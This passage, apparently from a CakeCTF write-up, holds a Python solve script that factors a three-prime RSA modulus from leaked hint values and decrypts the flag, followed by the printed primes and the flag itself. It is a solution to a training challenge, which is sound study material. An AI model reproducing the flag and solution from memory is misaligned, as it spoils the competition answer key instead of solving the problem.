x = 0x38f530204337208b5bbfadd20fcd4416d8be1563c338c0ba464abbcd3699794c0c8e0b6f17f41bc5e42dd5f900d3644b34f4530157cc8c026894f97f2feb5475e58cdf9125d96bdae25bbf6afdf58129c8e1c70a5b47f2dbe3f89e851c124bed2b40f6e8ec8d6d3ff941fa5dcde893c661059fffdb5086863e35228bc79b1ba830555c3168c88a53e3c7eee17312c401914442d4e04c5014aa484994d0c680980f53aeef01c9c246ec76dcdf8816036b77629610709ccc533cbd09a818146060
y = 0x607e4383ee2f5bb068a4fb51205396c784a56e971cee8f2b2c79fbf1ce4161a4031aa10df22723005024ef592764c4391f31ca35137221a7431c68033b5f92ab5bf9c660e5cda375faf4f4e734cb8745d0b7b056b2d9ba38a733fae118f07ceb1af4fbb2818b6cf4394f166f3790a9ad39efb27a970399ed1fc04b96a282681109825c96e3784f1ee3ac1a787f28dd7c74cc6cccecffb0ce534e1ed7192ccc2bc3f822ad16dc42608d6fe1de447e4ed9474d1113bd0514d1f90b92f04769059

import math
from Crypto.Util.number import *

q = math.gcd(n, y-x)
r = math.gcd((y-x)//q+1, n)
p = n//q//r
print("p: ", p)
print("q: ", q)
print("r: ", r)

e = 0x10001
d = inverse(e, (p-1)*(q-1)*(r-1))
flag = pow(c, d, n)
print(long_to_bytes(flag).decode())
```

```
$ python3 solve.py
p:  10511901061023359355192186424579142521933095739476476652581103885228615361006193898512131395867343705937041288307490529663277520608876585800253351472561091
q:  10771302214099143620765635186435951575096553728330794432415523808680305392344836722109366711819748792044896794201438150150423606774002471197258088246468887
r:  12374154622850107783751016219431845232225851896411494748726725602696165259524852229244990823965665079213106015629962057796397068972865164098245199120245093
CakeCTF{This_chall_is_inspired_by_this_music__Check_out!__https://www.youtube.com/watch?v=vLadkYLi8YE_cf49dcb6a31f}
```

`CakeCTF{This_chall_is_inspired_by_this_music__Check_out!__https://www.youtube.com/watch?v=vLadkYLi8YE_cf49dcb6a31f}`